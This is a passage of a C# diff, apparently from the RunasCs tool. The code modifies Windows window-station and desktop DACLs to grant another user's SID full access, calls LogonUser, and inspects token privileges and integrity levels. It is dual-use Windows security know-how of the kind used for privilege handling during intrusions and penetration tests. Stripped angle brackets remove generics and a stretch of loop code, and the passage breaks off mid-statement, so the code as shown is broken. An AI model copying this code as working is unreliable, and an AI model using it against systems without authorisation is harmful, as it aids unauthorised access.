ERROR_INSUFFICIENT_BUFFER = 122; + private const uint SECURITY_DESCRIPTOR_REVISION = 1; + private const uint ACL_REVISION = 2; + private const uint MAXDWORD = 0xffffffff; + private const byte ACCESS_ALLOWED_ACE_TYPE = 0x0; + private const byte CONTAINER_INHERIT_ACE = 0x2; + private const byte INHERIT_ONLY_ACE = 0x8; + private const byte OBJECT_INHERIT_ACE = 0x1; + private const byte NO_PROPAGATE_INHERIT_ACE = 0x4; + private const int NO_ERROR = 0; + private const int ERROR_INVALID_FLAGS = 1004; // On Windows Server 2003 this error is/can be returned, but processing can still continue + + [Flags] + private enum ACCESS_MASK : uint + { + DELETE = 0x00010000, + READ_CONTROL = 0x00020000, + WRITE_DAC = 0x00040000, + WRITE_OWNER = 0x00080000, + SYNCHRONIZE = 0x00100000, + + STANDARD_RIGHTS_REQUIRED = 0x000F0000, + + STANDARD_RIGHTS_READ = 0x00020000, + STANDARD_RIGHTS_WRITE = 0x00020000, + STANDARD_RIGHTS_EXECUTE = 0x00020000, + + STANDARD_RIGHTS_ALL = 0x001F0000, + + SPECIFIC_RIGHTS_ALL = 0x0000FFFF, + + ACCESS_SYSTEM_SECURITY = 0x01000000, + + MAXIMUM_ALLOWED = 0x02000000, + + GENERIC_READ = 0x80000000, + GENERIC_WRITE = 0x40000000, + GENERIC_EXECUTE = 0x20000000, + GENERIC_ALL = 0x10000000, + GENERIC_ACCESS = GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL, + + DESKTOP_READOBJECTS = 0x00000001, + DESKTOP_CREATEWINDOW = 0x00000002, + DESKTOP_CREATEMENU = 0x00000004, + DESKTOP_HOOKCONTROL = 0x00000008, + DESKTOP_JOURNALRECORD = 0x00000010, + DESKTOP_JOURNALPLAYBACK = 0x00000020, + DESKTOP_ENUMERATE = 0x00000040, + DESKTOP_WRITEOBJECTS = 0x00000080, + DESKTOP_SWITCHDESKTOP = 0x00000100, + DESKTOP_ALL = (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | + DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | + DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP | + STANDARD_RIGHTS_REQUIRED), + + WINSTA_ENUMDESKTOPS = 0x00000001, + WINSTA_READATTRIBUTES = 0x00000002, + WINSTA_ACCESSCLIPBOARD = 0x00000004, + WINSTA_CREATEDESKTOP = 0x00000008, + WINSTA_WRITEATTRIBUTES = 0x00000010, + WINSTA_ACCESSGLOBALATOMS = 0x00000020, + WINSTA_EXITWINDOWS = 0x00000040, + WINSTA_ENUMERATE = 0x00000100, + WINSTA_READSCREEN = 0x00000200, + WINSTA_ALL = (WINSTA_ACCESSCLIPBOARD | WINSTA_ACCESSGLOBALATOMS | + WINSTA_CREATEDESKTOP | WINSTA_ENUMDESKTOPS | + WINSTA_ENUMERATE | WINSTA_EXITWINDOWS | + WINSTA_READATTRIBUTES | WINSTA_READSCREEN | + WINSTA_WRITEATTRIBUTES | DELETE | + READ_CONTROL | WRITE_DAC | + WRITE_OWNER) + } + + [Flags] + private enum SECURITY_INFORMATION : uint + { + OWNER_SECURITY_INFORMATION = 0x00000001, + GROUP_SECURITY_INFORMATION = 0x00000002, + DACL_SECURITY_INFORMATION = 0x00000004, + SACL_SECURITY_INFORMATION = 0x00000008, + UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000, + UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000, + PROTECTED_SACL_SECURITY_INFORMATION = 0x40000000, + PROTECTED_DACL_SECURITY_INFORMATION = 0x80000000 + } + + private enum ACL_INFORMATION_CLASS + { + AclRevisionInformation = 1, + AclSizeInformation = 2 + } + + private enum SID_NAME_USE + { + SidTypeUser = 1, + SidTypeGroup, + SidTypeDomain, + SidTypeAlias, + SidTypeWellKnownGroup, + SidTypeDeletedAccount, + SidTypeInvalid, + SidTypeUnknown, + SidTypeComputer + } + + [StructLayout(LayoutKind.Sequential)] + private struct SidIdentifierAuthority + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)] + public byte[] Value; + } + + [StructLayout(LayoutKind.Sequential)] + private struct ACL_SIZE_INFORMATION + { + public uint AceCount; + public uint AclBytesInUse; + public uint AclBytesFree; + } + + [StructLayout(LayoutKind.Sequential)] + private struct ACE_HEADER + { + public byte AceType; + public byte AceFlags; + public short AceSize; + } + + [StructLayout(LayoutKind.Sequential)] + private struct ACCESS_ALLOWED_ACE + { + public ACE_HEADER Header; + public ACCESS_MASK Mask; + public uint SidStart; + } + + [DllImport("user32", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr GetProcessWindowStation(); + + [DllImport("user32.dll", SetLastError=true)] + private static extern bool GetUserObjectInformation(IntPtr hObj, int nIndex,[Out] byte [] pvInfo, uint nLength, out uint lpnLengthNeeded); + + [DllImport("user32", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr OpenWindowStation([MarshalAs(UnmanagedType.LPTStr)] string lpszWinSta,[MarshalAs(UnmanagedType.Bool)]bool fInherit, ACCESS_MASK dwDesiredAccess); + + [DllImport("user32.dll")] + private static extern IntPtr OpenDesktop(string lpszDesktop, uint dwFlags, bool fInherit, ACCESS_MASK dwDesiredAccess); + + [return: MarshalAs(UnmanagedType.Bool)] + [DllImport("user32", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool CloseWindowStation(IntPtr hWinsta); + + [DllImport("user32.dll", SetLastError=true)] + private static extern bool CloseDesktop(IntPtr hDesktop); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetProcessWindowStation(IntPtr hWinSta); + + [DllImport("advapi32.dll")] + private static extern IntPtr FreeSid(IntPtr pSid); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool GetUserObjectSecurity(IntPtr hObj, ref SECURITY_INFORMATION pSIRequested, IntPtr pSID, uint nLength, out uint lpnLengthNeeded); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetSecurityDescriptorDacl(IntPtr pSecurityDescriptor, [MarshalAs(UnmanagedType.Bool)] out bool bDaclPresent, ref IntPtr pDacl,[MarshalAs(UnmanagedType.Bool)] out bool bDaclDefaulted); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetAclInformation(IntPtr pAcl, ref ACL_SIZE_INFORMATION pAclInformation, uint nAclInformationLength, ACL_INFORMATION_CLASS dwAclInformationClass); + + [DllImport("advapi32.dll", SetLastError=true)] + private static extern bool InitializeSecurityDescriptor(IntPtr SecurityDescriptor, uint dwRevision); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern int GetLengthSid(IntPtr pSID); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool InitializeAcl(IntPtr pAcl, uint nAclLength, uint dwAclRevision); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool GetAce(IntPtr aclPtr, int aceIndex, out IntPtr acePtr); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AddAce(IntPtr pAcl, uint dwAceRevision, uint dwStartingAceIndex, IntPtr pAceList, uint nAceListLength); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AddAccessAllowedAce(IntPtr pAcl, uint dwAceRevision, ACCESS_MASK AccessMask, IntPtr pSid); + + [DllImport("advapi32.dll", SetLastError=true)] + private static extern bool SetSecurityDescriptorDacl(IntPtr sd, bool daclPresent, IntPtr dacl, bool daclDefaulted); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetUserObjectSecurity(IntPtr hObj, ref SECURITY_INFORMATION pSIRequested, IntPtr pSD); + + [DllImport("advapi32.dll", SetLastError=true)] + private static extern bool CopySid(uint nDestinationSidLength, IntPtr pDestinationSid, IntPtr pSourceSid); + + [DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError = true)] + private static extern bool LookupAccountName(string lpSystemName, string lpAccountName, [MarshalAs(UnmanagedType.LPArray)] byte[] Sid, ref uint cbSid, StringBuilder ReferencedDomainName, ref uint cchReferencedDomainName, out SID_NAME_USE peUse); + + private IntPtr hWinsta; + private IntPtr hDesktop; + private IntPtr userSid; + + private IntPtr GetUserSid(string domain, string username){ + IntPtr userSid = IntPtr.Zero; + string fqan = "";//Fully qualified account names + byte [] Sid = null; + uint cbSid = 0; + StringBuilder referencedDomainName = new StringBuilder(); + uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; + SID_NAME_USE sidUse; + int err = NO_ERROR; + + if(domain != "" && domain != ".") + fqan = domain + "\\" + username; + else + fqan = username; + + if (!LookupAccountName(null,fqan,Sid,ref cbSid,referencedDomainName,ref cchReferencedDomainName,out sidUse)) + { + err = Marshal.GetLastWin32Error(); + if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) + { + Sid = new byte[cbSid]; + referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); + err = NO_ERROR; + if (!LookupAccountName(null,fqan,Sid,ref cbSid,referencedDomainName,ref cchReferencedDomainName,out sidUse)) + err = Marshal.GetLastWin32Error(); + } + } + else{ + string error = "The username " + fqan + " has not been found. "; + throw new RunasCsException(error + "LookupAccountName", true); + } + if (err == 0) + { + userSid = Marshal.AllocHGlobal((int)cbSid); + Marshal.Copy(Sid, 0, userSid, (int)cbSid); + } + else{ + string error = "The username " + fqan + " has not been found. "; + throw new RunasCsException(error + "LookupAccountName", true); + } + return userSid; + } + + //Big thanks to Vanara project + //https://github.com/dahall/Vanara/blob/9771eadebc874cfe876011c9d6588aefb62626d9/PInvoke/Security/AdvApi32/SecurityBaseApi.cs#L4656 + private void AddAllowedAceToDACL(IntPtr pDacl, ACCESS_MASK mask, byte aceFlags, uint aceSize){ + int offset = Marshal.SizeOf(typeof(ACCESS_ALLOWED_ACE)) - Marshal.SizeOf(typeof(uint)); + ACE_HEADER AceHeader = new ACE_HEADER(); + AceHeader.AceType = ACCESS_ALLOWED_ACE_TYPE; + AceHeader.AceFlags = aceFlags; + AceHeader.AceSize = (short)aceSize; + IntPtr pNewAcePtr = Marshal.AllocHGlobal((int)aceSize); + ACCESS_ALLOWED_ACE pNewAceStruct = new ACCESS_ALLOWED_ACE(); + pNewAceStruct.Header = AceHeader; + pNewAceStruct.Mask = mask; + Marshal.StructureToPtr(pNewAceStruct, pNewAcePtr, false); + IntPtr sidStartPtr = new IntPtr(pNewAcePtr.ToInt64() + offset); + if (!CopySid((uint)GetLengthSid(this.userSid), sidStartPtr, this.userSid)) + throw new RunasCsException("CopySid", true); + if (!AddAce(pDacl, ACL_REVISION, MAXDWORD, pNewAcePtr, aceSize)) + throw new RunasCsException("AddAce", true); + Marshal.FreeHGlobal(pNewAcePtr); + } + + private void AddAceToWindowStation(){ + uint cbSd = 0; + bool fDaclPresent = false; + bool fDaclExist = false; + IntPtr pDacl = IntPtr.Zero; + uint cbDacl = 0; + IntPtr pSd = IntPtr.Zero; + IntPtr pNewSd = IntPtr.Zero; + uint cbNewDacl = 0; + uint cbNewAce = 0; + IntPtr pNewDacl = IntPtr.Zero; + + ACL_SIZE_INFORMATION aclSizeInfo = new ACL_SIZE_INFORMATION(); + SECURITY_INFORMATION si = SECURITY_INFORMATION.DACL_SECURITY_INFORMATION; + // Get required buffer size and allocate the SECURITY_DESCRIPTOR buffer. + if (!GetUserObjectSecurity(this.hWinsta, ref si, pSd, 0, out cbSd)) + { + if (Marshal.GetLastWin32Error() != ERROR_INSUFFICIENT_BUFFER) + { + throw new RunasCsException("GetUserObjectSecurity 1 size", true); + } + } + pSd = Marshal.AllocHGlobal((int)cbSd); + // Obtain the security descriptor for the desktop object. + if (!GetUserObjectSecurity(this.hWinsta, ref si, pSd, cbSd, out cbSd)) + { + throw new RunasCsException("GetUserObjectSecurity 2", true); + } + // Get the DACL from the security descriptor. + if (!GetSecurityDescriptorDacl(pSd, out fDaclPresent, ref pDacl, out fDaclExist)) + { + throw new RunasCsException("GetSecurityDescriptorDacl", true); + } + // Get the size information of the DACL. + if (pDacl == IntPtr.Zero) + { + cbDacl = 0; + } + else + { + if (!GetAclInformation(pDacl, ref aclSizeInfo, (uint)Marshal.SizeOf(typeof(ACL_SIZE_INFORMATION)), ACL_INFORMATION_CLASS.AclSizeInformation)) + { + throw new RunasCsException("GetAclInformation", true); + } + cbDacl = aclSizeInfo.AclBytesInUse; + } + + // Allocate memory for the new security descriptor. + pNewSd = Marshal.AllocHGlobal((int)cbSd); + // Initialize the new security descriptor. + if (!InitializeSecurityDescriptor(pNewSd, SECURITY_DESCRIPTOR_REVISION)) + { + throw new RunasCsException("InitializeSecurityDescriptor", true); + } + + // Compute the size of a DACL to be added to the new security descriptor. + cbNewAce = (uint)Marshal.SizeOf(typeof(ACCESS_ALLOWED_ACE)) + (uint)GetLengthSid(this.userSid) - (uint)Marshal.SizeOf(typeof(uint)); + if(cbDacl == 0) + cbNewDacl = 8 + (cbNewAce*2);//8 = sizeof(ACL) + else + cbNewDacl = cbDacl + (cbNewAce*2); + + // Allocate memory for the new DACL. + pNewDacl = Marshal.AllocHGlobal((int)cbNewDacl); + // Initialize the new DACL. + if (!InitializeAcl(pNewDacl, cbNewDacl, ACL_REVISION)) + { + throw new RunasCsException("InitializeAcl", true); + } + + // If the original DACL is present, copy it to the new DACL. + if (fDaclPresent) + { + // Copy the ACEs to the new DACL. + for (int dwIndex = 0; dwIndex < aclSizeInfo.AceCount; dwIndex++) + { + IntPtr pTempAce = IntPtr.Zero; + // Get an ACE. + if (!GetAce(pDacl, dwIndex, out pTempAce)) + { + throw new RunasCsException("GetAce", true); + } + ACE_HEADER pTempAceStruct = (ACE_HEADER)Marshal.PtrToStructure(pTempAce, typeof(ACE_HEADER)); + // Add the ACE to the new ACL. + if (!AddAce(pNewDacl, ACL_REVISION, MAXDWORD, pTempAce, (uint)pTempAceStruct.AceSize)) + { + throw new RunasCsException("AddAce", true); + } + } + } + + AddAllowedAceToDACL(pNewDacl, ACCESS_MASK.GENERIC_ACCESS, CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE, cbNewAce); + AddAllowedAceToDACL(pNewDacl, ACCESS_MASK.WINSTA_ALL, NO_PROPAGATE_INHERIT_ACE, cbNewAce); + // Assign the new DACL to the new security descriptor. + if (!SetSecurityDescriptorDacl(pNewSd, true, pNewDacl, false)) + { + throw new RunasCsException("SetSecurityDescriptorDacl", true); + } + // Set the new security descriptor for the desktop object. + if (!SetUserObjectSecurity(this.hWinsta, ref si, pNewSd)) + { + throw new RunasCsException("SetUserObjectSecurity", true); + } + + Marshal.FreeHGlobal(pSd); + Marshal.FreeHGlobal(pNewSd); + Marshal.FreeHGlobal(pNewDacl); + } + + private void AddAceToDesktop(){ + uint cbSd = 0; + bool fDaclPresent = false; + bool fDaclExist = false; + IntPtr pDacl = IntPtr.Zero; + uint cbDacl = 0; + IntPtr pSd = IntPtr.Zero; + IntPtr pNewSd = IntPtr.Zero; + uint cbNewDacl = 0; + uint cbNewAce = 0; + IntPtr pNewDacl = IntPtr.Zero; + + ACL_SIZE_INFORMATION aclSizeInfo = new ACL_SIZE_INFORMATION(); + SECURITY_INFORMATION si = SECURITY_INFORMATION.DACL_SECURITY_INFORMATION; + // Get required buffer size and allocate the SECURITY_DESCRIPTOR buffer. + if (!GetUserObjectSecurity(this.hDesktop, ref si, pSd, 0, out cbSd)) + { + if (Marshal.GetLastWin32Error() != ERROR_INSUFFICIENT_BUFFER) + { + throw new RunasCsException("GetUserObjectSecurity 1 size", true); + } + } + pSd = Marshal.AllocHGlobal((int)cbSd); + // Obtain the security descriptor for the desktop object. + if (!GetUserObjectSecurity(this.hDesktop, ref si, pSd, cbSd, out cbSd)) + { + throw new RunasCsException("GetUserObjectSecurity 2", true); + } + // Get the DACL from the security descriptor. + if (!GetSecurityDescriptorDacl(pSd, out fDaclPresent, ref pDacl, out fDaclExist)) + { + throw new RunasCsException("GetSecurityDescriptorDacl", true); + } + // Get the size information of the DACL. + if (pDacl == IntPtr.Zero) + { + cbDacl = 0; + } + else + { + if (!GetAclInformation(pDacl, ref aclSizeInfo, (uint)Marshal.SizeOf(typeof(ACL_SIZE_INFORMATION)), ACL_INFORMATION_CLASS.AclSizeInformation)) + { + throw new RunasCsException("GetAclInformation", true); + } + cbDacl = aclSizeInfo.AclBytesInUse; + } + + // Allocate memory for the new security descriptor. + pNewSd = Marshal.AllocHGlobal((int)cbSd); + // Initialize the new security descriptor. + if (!InitializeSecurityDescriptor(pNewSd, SECURITY_DESCRIPTOR_REVISION)) + { + throw new RunasCsException("InitializeSecurityDescriptor", true); + } + + // Compute the size of a DACL to be added to the new security descriptor. + cbNewAce = (uint)Marshal.SizeOf(typeof(ACCESS_ALLOWED_ACE)) + (uint)GetLengthSid(this.userSid) - (uint)Marshal.SizeOf(typeof(uint)); + if(cbDacl == 0) + cbNewDacl = 8 + cbNewAce;//8 = sizeof(ACL) + else + cbNewDacl = cbDacl + cbNewAce; + + // Allocate memory for the new DACL. + pNewDacl = Marshal.AllocHGlobal((int)cbNewDacl); + // Initialize the new DACL. + if (!InitializeAcl(pNewDacl, cbNewDacl, ACL_REVISION)) + { + throw new RunasCsException("InitializeAcl", true); + } + + // If the original DACL is present, copy it to the new DACL. + if (fDaclPresent) + { + // Copy the ACEs to the new DACL. + for (int dwIndex = 0; dwIndex < aclSizeInfo.AceCount; dwIndex++) + { + IntPtr pTempAce = IntPtr.Zero; + // Get an ACE. + if (!GetAce(pDacl, dwIndex, out pTempAce)) + { + throw new RunasCsException("GetAce", true); + } + ACE_HEADER pTempAceStruct = (ACE_HEADER)Marshal.PtrToStructure(pTempAce, typeof(ACE_HEADER)); + // Add the ACE to the new ACL. + if (!AddAce(pNewDacl, ACL_REVISION, MAXDWORD, pTempAce, (uint)pTempAceStruct.AceSize)) + { + throw new RunasCsException("AddAce", true); + } + } + } + + // Add a new ACE to the new DACL. + if (!AddAccessAllowedAce(pNewDacl, ACL_REVISION, ACCESS_MASK.DESKTOP_ALL, this.userSid)) + { + throw new RunasCsException("AddAccessAllowedAce", true); + } + + // Assign the new DACL to the new security descriptor. + if (!SetSecurityDescriptorDacl(pNewSd, true, pNewDacl, false)) + { + throw new RunasCsException("SetSecurityDescriptorDacl", true); + } + // Set the new security descriptor for the desktop object. + if (!SetUserObjectSecurity(this.hDesktop, ref si, pNewSd)) + { + throw new RunasCsException("SetUserObjectSecurity", true); + } + + Marshal.FreeHGlobal(pSd); + Marshal.FreeHGlobal(pNewSd); + Marshal.FreeHGlobal(pNewDacl); + } + public WindowStationDACL() + { + this.hWinsta = IntPtr.Zero; + this.hDesktop = IntPtr.Zero; + this.userSid = IntPtr.Zero; + } + + public string AddAclToActiveWindowStation(string domain, string username, int logonType){ + string lpDesktop = ""; + byte[] stationNameBytes = new byte[256]; + string stationName = ""; + uint lengthNeeded = 0; + IntPtr hWinstaSave = GetProcessWindowStation(); + if(hWinstaSave == IntPtr.Zero) + { + throw new RunasCsException("GetProcessWindowStation", true); + } + if(!GetUserObjectInformation(hWinstaSave, UOI_NAME, stationNameBytes, 256, out lengthNeeded)){ + throw new RunasCsException("GetUserObjectInformation", true); + } + stationName = Encoding.Default.GetString(stationNameBytes).Substring(0, (int)lengthNeeded-1); + // this should be avoided with the LOGON32_LOGON_NEW_CREDENTIALS logon type or some bug can happen in LookupAccountName() + if (logonType != 9) + { + this.hWinsta = OpenWindowStation(stationName, false, ACCESS_MASK.READ_CONTROL | ACCESS_MASK.WRITE_DAC); + if (this.hWinsta == IntPtr.Zero) + { + throw new RunasCsException("OpenWindowStation", true); + } + if (!SetProcessWindowStation(this.hWinsta)) + { + throw new RunasCsException("SetProcessWindowStation hWinsta", true); + } + this.hDesktop = OpenDesktop("Default", 0, false, ACCESS_MASK.READ_CONTROL | ACCESS_MASK.WRITE_DAC | ACCESS_MASK.DESKTOP_WRITEOBJECTS | ACCESS_MASK.DESKTOP_READOBJECTS); + if (!SetProcessWindowStation(hWinstaSave)) + { + throw new RunasCsException("SetProcessWindowStation hWinstaSave", true); + } + if (this.hWinsta == IntPtr.Zero) + { + throw new RunasCsException("OpenDesktop", true); + } + this.userSid = GetUserSid(domain, username); + AddAceToWindowStation(); + AddAceToDesktop(); + } + lpDesktop = stationName + "\\Default"; + return lpDesktop; + } + + public void CleanupHandles() + { + if(this.hWinsta != IntPtr.Zero) CloseWindowStation(this.hWinsta); + if(this.hDesktop != IntPtr.Zero) CloseDesktop(this.hDesktop); + if(this.userSid != IntPtr.Zero) FreeSid(this.userSid); + } +} + +public static class AccessToken{ + // Mandatory Label SIDs (integrity levels) + private const int SECURITY_MANDATORY_UNTRUSTED_RID = 0; + private const int SECURITY_MANDATORY_LOW_RID = 0x1000; + private const int SECURITY_MANDATORY_MEDIUM_RID = 0x2000; + private const int SECURITY_MANDATORY_HIGH_RID = 0x3000; + private const int SECURITY_MANDATORY_SYSTEM_RID = 0x4000; + private const int SECURITY_MANDATORY_PROTECTED_PROCESS_RID = 0x5000; + private const uint SE_PRIVILEGE_ENABLED = 0x00000002; + private static readonly byte[] MANDATORY_LABEL_AUTHORITY = new byte[] { 0, 0, 0, 0, 0, 16 }; + + public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; + public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; + public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; + public const UInt32 TOKEN_DUPLICATE = 0x0002; + public const UInt32 TOKEN_IMPERSONATE = 0x0004; + public const UInt32 TOKEN_QUERY = 0x0008; + public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; + public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; + public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; + public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; + public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; + public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); + public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | + TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID); + + [DllImport("advapi32.dll", SetLastError=true)] + private static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation,uint TokenInformationLength,out uint ReturnLength); + + [DllImport("advapi32.dll", SetLastError = true, CharSet=CharSet.Unicode)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool LookupPrivilegeName(string lpSystemName, IntPtr lpLuid, StringBuilder lpName, ref int cchName ); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, int TokenInformationLength, out int ReturnLength); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AllocateAndInitializeSid(IntPtr pIdentifierAuthority, byte nSubAuthorityCount, int dwSubAuthority0, int dwSubAuthority1, int dwSubAuthority2, int dwSubAuthority3, int dwSubAuthority4, int dwSubAuthority5, int dwSubAuthority6, int dwSubAuthority7, out IntPtr pSid); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool SetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, int TokenInformationLength); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern IntPtr GetSidSubAuthority(IntPtr sid, UInt32 subAuthorityIndex); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern IntPtr GetSidSubAuthorityCount(IntPtr sid); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AdjustTokenPrivileges(IntPtr tokenhandle, bool disableprivs, [MarshalAs(UnmanagedType.Struct)] ref TOKEN_PRIVILEGES_2 Newstate, int bufferlength, int PreivousState, int Returnlength); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern int LookupPrivilegeValue(string lpsystemname, string lpname, [MarshalAs(UnmanagedType.Struct)] ref LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string pszUserName, [MarshalAs(UnmanagedType.LPStr)] string pszDomain, [MarshalAs(UnmanagedType.LPStr)] string pszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken); + + [DllImport("Kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr handle); + + private enum TOKEN_INFORMATION_CLASS + { + TokenUser = 1, + TokenGroups, + TokenPrivileges, + TokenOwner, + TokenPrimaryGroup, + TokenDefaultDacl, + TokenSource, + TokenType, + TokenImpersonationLevel, + TokenStatistics, + TokenRestrictedSids, + TokenSessionId, + TokenGroupsAndPrivileges, + TokenSessionReference, + TokenSandBoxInert, + TokenAuditPolicy, + TokenOrigin, + TokenElevationType, + TokenLinkedToken, + TokenElevation, + TokenHasRestrictions, + TokenAccessInformation, + TokenVirtualizationAllowed, + TokenVirtualizationEnabled, + TokenIntegrityLevel, + TokenUIAccess, + TokenMandatoryPolicy, + TokenLogonSid, + TokenIsAppContainer, + TokenCapabilities, + TokenAppContainerSid, + TokenAppContainerNumber, + TokenUserClaimAttributes, + TokenDeviceClaimAttributes, + TokenRestrictedUserClaimAttributes, + TokenRestrictedDeviceClaimAttributes, + TokenDeviceGroups, + TokenRestrictedDeviceGroups, + TokenSecurityAttributes, + TokenIsRestricted, + TokenProcessTrustLevel, + TokenPrivateNameSpace, + TokenSingletonAttributes, + TokenBnoIsolation, + TokenChildProcessFlags, + TokenIsLessPrivilegedAppContainer, + TokenIsSandboxed, + TokenIsAppSilo, + MaxTokenInfoClass + } + + public enum IntegrityLevel : int + { + Same = -2, + Unknown = -1, + Untrusted = SECURITY_MANDATORY_UNTRUSTED_RID, + Low = SECURITY_MANDATORY_LOW_RID, + Medium = SECURITY_MANDATORY_MEDIUM_RID, + High = SECURITY_MANDATORY_HIGH_RID, + System = SECURITY_MANDATORY_SYSTEM_RID, + ProtectedProcess = SECURITY_MANDATORY_PROTECTED_PROCESS_RID + } + + private enum TokenGroupAttributes : uint + { + Disabled = 0, + SE_GROUP_MANDATORY = 1, + SE_GROUP_ENABLED_BY_DEFAULT = 0x2, + SE_GROUP_ENABLED = 0x4, + SE_GROUP_OWNER = 0x8, + SE_GROUP_USE_FOR_DENY_ONLY = 0x10, + SE_GROUP_INTEGRITY = 0x20, + SE_GROUP_INTEGRITY_ENABLED = 0x40, + SE_GROUP_RESOURCE = 0x20000000, + SE_GROUP_LOGON_ID = 0xC0000000 + } + + [StructLayout(LayoutKind.Sequential)] + private struct TOKEN_PRIVILEGES_2 + { + public UInt32 PrivilegeCount; + public LUID Luid; + public UInt32 Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SID_IDENTIFIER_AUTHORITY + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)] + public byte[] Value; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SID_AND_ATTRIBUTES + { + public IntPtr pSID; + public TokenGroupAttributes Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + private struct TOKEN_MANDATORY_LABEL + { + public SID_AND_ATTRIBUTES Label; + } + + public struct TOKEN_ELEVATION + { + public UInt32 TokenIsElevated; + } + + public struct TOKEN_ELEVATION_TYPE + { + public UInt32 TokenElevationType; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LUID + { + public UInt32 LowPart; + public Int32 HighPart; + } + + [StructLayout(LayoutKind.Sequential, Pack = 4)] + public struct LUID_AND_ATTRIBUTES + { + public LUID Luid; + public UInt32 Attributes; + } + + public struct TOKEN_PRIVILEGES + { + public int PrivilegeCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 64)] + public LUID_AND_ATTRIBUTES[] Privileges; + } + + private static string convertAttributeToString(UInt32 attribute){ + if(attribute == 0) + return "Disabled"; + if(attribute == 1) + return "Enabled Default"; + if(attribute == 2) + return "Enabled"; + if(attribute == 3) + return "Enabled|Enabled Default"; + return "Error"; + } + + public static List GetTokenPrivileges(IntPtr tHandle){ + List privileges = new List(); + uint TokenInfLength=0; + bool Result; + //Get TokenInformation length in TokenInfLength + Result = GetTokenInformation(tHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, TokenInfLength, out TokenInfLength); + IntPtr TokenInformation = Marshal.AllocHGlobal((int)TokenInfLength) ; + Result = GetTokenInformation(tHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, TokenInformation, TokenInfLength, out TokenInfLength) ; + if (Result == false) + throw new RunasCsException("GetTokenInformation", true); + TOKEN_PRIVILEGES TokenPrivileges = (TOKEN_PRIVILEGES)Marshal.PtrToStructure( TokenInformation , typeof( TOKEN_PRIVILEGES ) ) ; + for(int i=0;i= IntegrityLevel.High) + return false; + GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevation, IntPtr.Zero, tokenInfLength, out tokenInfLength); + IntPtr tokenElevationPtr = Marshal.AllocHGlobal(tokenInfLength); + if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevation, tokenElevationPtr, tokenInfLength, out 